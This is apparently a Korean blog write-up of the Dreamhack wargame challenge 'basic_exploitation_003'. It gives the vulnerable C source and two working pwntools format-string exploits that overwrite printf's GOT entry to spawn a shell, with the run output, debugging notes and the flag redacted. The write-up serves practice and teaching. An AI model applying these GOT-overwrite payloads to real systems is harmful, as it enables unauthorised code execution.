728x90
반응형
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
솔직히 다소 야매로 풀었다;;
어쨌든, 취약점이 발생하는 sprintf 함수 다음에 printf 함수가 실행되기 때문에 printf got 주소를 get_shell 주소로 덮어 씌우면 된다.
다만, 프로그램 실행 시 확인한 format string bug가 첫 번째부터 나타나는 것으로 확인하고 시도하였는데,
┌──(kali㉿kali)-[~/Downloads]
└─$ ./basic_exploitation_003
AAAA%p%p%p%p
ECHO : AAAA0x414141410x313478300x313431340x78303134
실제로는 더미 값 4 byte가 들어간 이후부터 %n에 의한 값의 변경이 되는 것을 확인하였다.
또한 주소와 %n을 차례로 작성해주면 값이 이상하게 들어가는데, 이를 하나씩 확인하며 페이로드를 바로잡아주었다.
작성된 페이로드는 아래와 같다.
from pwn import *
p = remote('host3.dreamhack.games',16075)
#p = process('./basic_exploitation_003')
e = ELF('./basic_exploitation_003')
get_shell = e.symbols['get_shell']
overwrite = e.got['printf']
pay = b'AAAA'
pay += p32(overwrite+2)
pay += p32(overwrite+1)
pay += p32(overwrite)
pay += p32(overwrite+3)
pay += b'%85c%4$hhn'
pay += b'%29c%3$hhn'
pay += b'%126c%2$hhn'
pay += b'%4c%hhn'
print(pay)
#gdb.attach(p)
p.send(pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 16075: Done
[*] '/home/kali/Downloads/basic_exploitation_003'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
b'AAAA\x12\xa0\x04\x08\x11\xa0\x04\x08\x10\xa0\x04\x08\x13\xa0\x04\x08%85c%4$hhn%29c%3$hhn%126c%2$hhn%4c%hhn'
[*] Switching to interactive mode
$ id
uid=1000(basic_exploitation_003) gid=1000(basic_exploitation_003) groups=1000(basic_exploitation_003)
$ cat flag
DH{----------#플래그는 삭제}
왜 이렇게 되는지는 조금 고민해봐야 될 듯,
다른 분들의 풀이를 조금 참고해봤는데, 다들 다른 방법으로 풀었다.
주요 차이점은
다른 사람들은 sprintf 함수에서 데이터들이 복사되는 점을 활용해서 buffer를 채운 뒤 ret address를 변경함.
나는 format string을 이용해 특정 주소의 값을 변경함.
이다.
어찌보면 쉬운 길을 멀리 돌아간 셈;;;
sprintf에서 포맷 스트링이 발생하는 경우 buffer overflow도 함께 고려하자!
왜 값이 제대로 안들어가지는지 확인했다.
주요 문제점은 %hhn != %1$hhn 이다.
이 때문에 마지막 %4c%hhn이 %4c%5$hhn (앞에 %c가 4개 있었으니까.)이 되어버린 것이다.
그러므로 정상적인 페이로드로 다시 작성해보면 아래와 같다.
from pwn import *
#p = remote('host3.dreamhack.games',16075)
p = process('./basic_exploitation_003')
e = ELF('./basic_exploitation_003')
overwrite = e.got['printf']
pay = b''
pay += p32(overwrite+3)
pay += p32(overwrite+2)
pay += p32(overwrite+1)
pay += p32(overwrite)
pay += b'%89c%4$hhn'
pay += b'%29c%3$hhn'
pay += b'%126c%2$hhn'
pay += b'%4c%1$hhn'
p.send(pay)
p.interactive()
728x90
반응형
'Wargame > Dreamhack' 카테고리의 다른 글
Tcache Poisoning (0) | 2022.08.02 |
---|---|
uaf_overwrite (0) | 2022.08.01 |
basic_exploitation_002 (0) | 2022.07.30 |
out_of_bound (0) | 2022.07.30 |
oneshot (0) | 2022.07.29 |